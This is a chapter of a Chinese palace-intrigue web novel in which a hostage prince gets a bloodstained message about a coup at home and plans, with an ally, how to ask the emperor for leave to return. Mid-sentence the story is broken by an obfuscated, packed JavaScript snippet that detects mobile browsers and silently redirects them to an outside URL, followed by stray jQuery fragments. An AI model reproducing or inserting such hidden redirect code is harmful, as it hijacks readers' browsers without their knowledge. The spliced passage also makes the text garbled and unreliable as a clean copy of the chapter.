夜已深得透了。


    质子府的书房里，只点了一盏灯。烛火被灯罩拢着，光线昏黄，只照亮书案周围小小一圈，将慕容昭和萧执的身影投在身后的墙壁上，拉得细长而沉默。他们面前摊开着地图和几张写满字的纸，正在推敲最后几条离京路线的利弊与沿途可能遇到的关卡。空气里弥漫着一种紧绷的安静，只有偶尔笔尖划过纸面的沙沙声，和烛芯偶尔爆开的细微噼啪。


    所有的准备都已进入尾声，或者说，在现有条件下已做到了极致。剩下的，就是等待那个最后的、决定性的信号，来自南煜的，决定萧执是能走，还是必须立刻走的信号。


    就在慕容昭指尖停在地图上某处关隘，正要开口时，书房外传来了极其急促、却又极力压抑的脚步声。不是平日仆役的节奏，那脚步虚浮踉跄，带着一种濒临极限的仓皇。


    萧执霍然抬头，眼神瞬间锐利如鹰。慕容昭也立刻收声，目光投向紧闭的房门。


    一声闷响，像是有人用身体撞上了门板，随即是景竹嘶哑到几乎变形的声音，压得极低，却透着骇人的惊急。


    “殿下！殿下！”


    萧执一个箭步上前，猛地拉开门栓。


    门外，景竹几乎瘫倒在门槛上。他浑身沾满尘土和草屑，发髻散乱，脸上被汗水、泥土和几道不知是刮伤还是别的什么痕迹弄得污浊不堪。嘴唇干裂出血，眼睛却死死睁着，里面布满了血丝和一种近乎疯狂的光。他怀里紧紧抱着一个东西，一个约莫两指粗、一掌长的细铜管，上面沾满了已经发黑发暗的污迹，在昏暗的廊灯光线下，透着一股不祥的气息。


    看到萧执，景竹像是用尽了最后一点力气，将那个铜管死死塞进萧执手里，喉咙里挤出几个破碎的音节：“南……南边……最后……信……”话音未落，他头一歪，彻底昏死过去，身体软软地滑倒在地。


    萧执看也没看倒在地上的景竹，他的全部注意力都在手中那个冰冷沉重的铜管上。他反手迅速关上门，隔绝了外面的一切。书房内重归寂静，但那寂静里已充满了爆裂前的张力。


    他走到灯下，手指抚过铜管上那些暗褐色的污迹，指尖传来一种黏腻冰冷的触感。是血，早已干涸的血。他没有丝毫犹豫，拧开铜管一端密封的蜡块，从里面抽出一卷薄如蝉翼、却被揉得有些皱的帛纸。


    帛纸展开，上面的字迹潦草而急促，有些地方甚至被汗渍或别的什么液体晕开，但依然可以辨认。内容极其简短，没有任何修饰，只有赤裸裸的事实。


    “宫门已闭，戍卫尽换。陛下昏迷，药石不进。大殿下掌枢密，囚近臣十三，名单附后。军中异动，清洗已始。吾线尽断，此最后讯。殿下若不速归，非但大位无望，恐南煜再无我等立锥之地，殿下亦永成北宸之囚！”


    最后那句“永成北宸之囚”七个字，用的是朱砂，颜色刺目惊心，像一道血淋淋的判词，狠狠烙在帛纸上，也烙在看信人的眼底。


    萧执的脸在烛光下，一点点失去所有颜色，变得像冷玉一样苍白，也像冷玉一样坚硬。没有震惊，没有愤怒，甚至没有恐惧，只有一种极致的、冰封般的平静。那平静之下，是滔天巨浪骤然凝固成的万载寒冰。


    他将帛纸递给慕容昭。


    慕容昭接过，快速扫过上面的字句。每一个字都像带着铁锈和血腥味，砸在她的感知里。宫变，囚禁，清洗，线断……最后那句朱砂警告，更是将所有侥幸和拖延的余地碾得粉碎。


    她抬起头，看向萧执。两人目光在空中相接，无声地交换了确认。


    “没有时间了。”慕容昭的声音在寂静中响起，清晰而冰冷，斩断了所有犹豫，“没有时间再去等一个更好的时机，也没有机会再去创造更周全的条件。你必须立刻走，用我们现在手上能拿出来的、一切说得过去的理由。”


    萧执的视线从她脸上移开，投向窗外浓得化不开的黑暗。他站在那里，背影挺直，却仿佛承载着千钧重压。片刻，他转过身，脸上所有属于“温润质子”的柔和表象已彻底剥落，露出底下铁石般的芯子，眼神锐利冰冷，如同出鞘的剑锋。


    “那就用最简单、也最直接的理由。”他开口，声音平稳得可怕，每一个字都像冰珠落在玉盘上，“就告诉北宸皇帝，我在南煜待不下去了，必须回去避祸。”


    慕容昭目光微凝，等着他的下文。


    萧执继续道，思路清晰得近乎冷酷：“南煜内乱，父皇昏迷，长兄夺权清洗。我这个在北宸为质的七皇子，继续留在这里，就是一个失去价值、还可能被南煜新主忌惮的弃子，对北宸再无用处，反而可能引来麻烦。我主动请求离开，是识趣，也是替北宸省去一个潜在的难题。”


    “但仅仅这样，分量怕是不够。”慕容昭指出关键。


    “所以还有第二层。”萧执的指尖无意识地点着桌面，“我不仅自己要避祸离开，我还能回去，给北宸带去别的好处。比如，我可以用这些年在北宸积攒下的一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084333|195362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点产业财物，作为答谢陛下这些年照拂的‘心意’。更关键的是，我回去不是享福，是跳进火坑去争去斗。无论最终谁赢，南煜内部都必有一场持续的风波和消耗。一个内乱不休、元气大伤的南煜，对北宸的边境安宁而言，难道不是一桩实实在在的好处？我回去，就是去帮北宸制造这个‘好处’的人。”


    他的策略清晰呈现：主动坦白自身危局以寻求合理解释，献上实利作为交换筹码，并许诺一个对北宸皇帝极具吸引力的未来图景，即一个因内斗而衰弱的邻国。这并非摇尾乞怜，而是一场将自身困境转化为对方利益的冷静交易。


    慕容昭听完，沉默了片刻。这计划大胆而精准，它放弃了所有虚饰，直指帝王心术中最核心的算计。只要让皇帝觉得放萧执走利大于弊，甚至大有可为，那么其他阻力便不足为虑。


    “很险，但可行。”她最终评价道，目光落在萧执脸上，“那份‘心意’的清单，准备好了？”


    萧执从怀中取出一个薄薄的、封了火漆的信封，放在桌上。“都在里面。哪些产业，多少金银，几条商路，写得清清楚楚。姿态足够低，价值足够让他心动，也刚好卡在我能承受的极限。”


    慕容昭没有去拆信封，只是点了点头。“好。你尽快将这份清单，连同你请求归国‘奔丧’或‘省亲’的密奏，一起准备妥当，言辞要恳切，利害要摆明。我会设法，让这东西以最快的速度、最稳妥的路径，直接送到御前，绕过所有可能拦截的手。”


    慕容昭的目光从信封上抬起，看向萧执，声音恢复了平时的清晰冷静：“密奏的措辞是关键。既要让他看到你的‘不得已’，也要让他觉得这笔交易他占了便宜，更要让他相信，放你走比留着你，对他更有利。”


    事情议定，再无多话的必要。萧执拿起那个装着清单的信封和染血的帛书，吹熄了手边的蜡烛。


    “我这就去准备。”他的声音在黑暗中传来，褪去了所有情绪，只剩下纯粹的决断与行动力。


    慕容昭“嗯”了一声，没有更多回应。


    萧执的身影无声地没入书房更深的阴影，离开了。


    慕容昭独自站在书案前，看着那盏孤灯照亮的一片亟待整理的地图与文稿，又看了看窗外依旧沉沉的夜色。


    最后的信号已经收到，最终的策略已经敲定。


    接下来，就是将这份冰冷的算计，化为能递到御前的文字。天一亮，这盘棋的下一步，便要落子了。